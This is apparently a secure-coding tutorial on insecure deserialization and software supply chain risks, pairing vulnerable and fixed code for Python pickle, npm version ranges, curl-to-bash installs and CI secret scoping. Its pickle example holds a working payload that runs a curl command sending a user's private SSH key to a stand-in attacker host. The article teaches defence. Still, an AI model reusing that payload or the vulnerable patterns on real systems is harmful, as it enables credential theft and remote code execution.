Codetail

Article 9 of 12

Insecure Deserialization and Supply Chain Attacks

Trusting a byte stream and trusting a package registry are the same mistake.

20 min read

Deserialization isn't reading data back, it's running instructions

Trusting a byte stream and trusting a package registry turn out to be the same mistake: both hand code-execution power to something that arrived from outside your control, on the assumption that it's just data. Deserialization is the more direct version of that mistake.

Python's pickle module isn't a data format the way JSON is. It's a small bytecode language for reconstructing arbitrary Python objects, and reconstructing an object can mean calling arbitrary functions.

A payload that is, structurally, just a pickled object

PythonVulnerable
1class Exploit:
2 def __reduce__(self):
3 return (os.system, ("curl attacker.evil/steal?d=$(cat ~/.ssh/id_rsa)",))
4
5payload = pickle.dumps(Exploit())

__reduce__ is how pickle knows to rebuild an object: call this function, with these arguments. Nothing requires the function to be a harmless constructor. os.system works exactly as well, from pickle's point of view, as any real class.

A server that accepts pickled data, for convenience

PythonVulnerable
1obj = pickle.loads(request.data)

The moment this line runs on the payload above, the server executes os.system(...). Not "interprets it as data that looks like a command." Runs it. No further interaction, no separate vulnerability required. Deserializing the object is the exploit.

Fixed: a data-only format, with an actual schema

PythonFixed
1data = json.loads(request.data)
2if "user_id" not in data or not isinstance(data["user_id"], int):
3 abort(400)
4user_id = data["user_id"]

JSON can only ever produce strings, numbers, booleans, lists, and objects. There's no instruction to execute, because the format has no concept of instructions at all. This isn't a Python-specific lesson either: ObjectInputStream in Java, unserialize() in PHP, and Marshal.load in Ruby all carry the same class of bug. Never deserialize untrusted input with a format that can reconstruct arbitrary objects. If you need Python-to-Python serialization internally, pickle is fine between two services that already trust each other completely. It is never fine anywhere user input can reach it.

Every install command is part of your attack surface

A dependency isn't reviewed code you happen not to have written. For almost every project, it's code nobody on the team has ever read, running with the same privileges as the code they did write. Real incidents have come from exactly this gap: a popular npm package's maintainer account gets compromised, or a maintainer deliberately ships a sabotaged version, and a malicious update goes out under a name and reputation developers already trusted.

A dependency range that auto-upgrades to whatever gets published

JSONVulnerable
1{
2 "dependencies": {
3 "some-popular-package": "^4.17.0"
4 }
5}

^4.17.0 means any 4.x release is accepted automatically, no review, no diff, no human decision. If a compromised or malicious 4.17.1 goes out an hour after the real maintainer's account was taken over, the next npm install anywhere on the team, or worse, in CI, pulls it in without anyone noticing anything changed.

Fixed: exact versions, a committed lockfile, and CI that respects it

BashFixed
1# CI installs exactly what the lockfile says, nothing newer, nothing different
2npm ci
3
4# Python equivalent: fail the build if an installed package doesn't match a pinned hash
5pip install --require-hashes -r requirements.txt

npm ci installs exactly what's in package-lock.json, no version resolution, no surprises. An upgrade becomes a deliberate act: someone runs the update, a diff shows up in the lockfile, and it goes through review like any other code change. Pair that with automated scanning as a required CI gate, not a dashboard nobody checks, npm audit, pip-audit, or Dependabot, so a known vulnerability in something already installed fails the build instead of sitting there unnoticed.

Piping curl into bash is the same bug in different clothes

This line shows up in setup docs, Dockerfiles, and CI configs across the industry, usually copied straight from a project's own official install instructions.

A Dockerfile

BashVulnerable
1RUN curl -sSL https://example.com/install.sh | bash

HTTPS here verifies you're talking to the real example.com. It says nothing about whether the script that server returns is the one you expect. If that account, that CDN, or that specific file ever gets compromised, even briefly, every build that runs this line during that window executes whatever the attacker put there, with the full privileges of your build process. There's no verification step at all, just trust that the response body is safe to run as root.

Fixed: download, verify, then execute, as three separate steps

BashFixed
1curl -sSL https://example.com/install.sh -o install.sh
2echo "9f86d081884c7d659a2feaa0c55ad015 install.sh" | sha256sum -c -
3bash install.sh

The checksum has to come from somewhere other than the same source you're verifying, pinned in your own repository, from a release page you checked once, not fetched fresh from the site that could itself be compromised. If the downloaded file doesn't match, the build fails before a single line of it runs. That one extra step is the difference between "this came from the domain I expected" and "this is the exact file I meant to run."

Reducing what a compromised dependency can actually reach

Package managers let a dependency run arbitrary code the moment it's installed, not just when your app calls into it. postinstall and preinstall scripts execute automatically during npm install, which is how several real supply-chain attacks worked: the victim never imported or called the malicious code, running the install was already enough.

The most common thing a malicious install script goes looking for is CI secrets, because CI is where install scripts run automatically, unattended, with whatever credentials that pipeline happens to have lying around in its environment.

A pipeline where the test job can see every production secret

YAMLVulnerable
1jobs:
2 test:
3 steps:
4 - run: npm ci # a malicious postinstall script here can read everything below
5 - run: npm test
6 env:
7 AWS_DEPLOY_KEY: ${{ secrets.AWS_DEPLOY_KEY }}
8 NPM_PUBLISH_TOKEN: ${{ secrets.NPM_PUBLISH_TOKEN }}

There's no reason a test run needs a production deploy key or a publish token available in its environment at all. If a dependency installed for testing turns out to be malicious, this configuration hands it both anyway.

Fixed: secrets scoped to the one job that actually needs them

YAMLFixed
1jobs:
2 test:
3 steps:
4 - run: npm ci
5 - run: npm test # no deploy secrets exist in this job's environment at all
6
7 deploy:
8 needs: test
9 if: github.ref == 'refs/heads/main'
10 steps:
11 - run: npm run deploy
12 env:
13 AWS_DEPLOY_KEY: ${{ secrets.AWS_DEPLOY_KEY }}

The same install of the same compromised package now has nothing to steal from the job it actually runs in. Combine that with keeping the dependency tree itself smaller, fewer packages means fewer maintainer accounts you're implicitly trusting, and reviewing anything with a lifecycle script before it's added, and a supply-chain compromise stops being a straight line from "one dependency" to "full production access."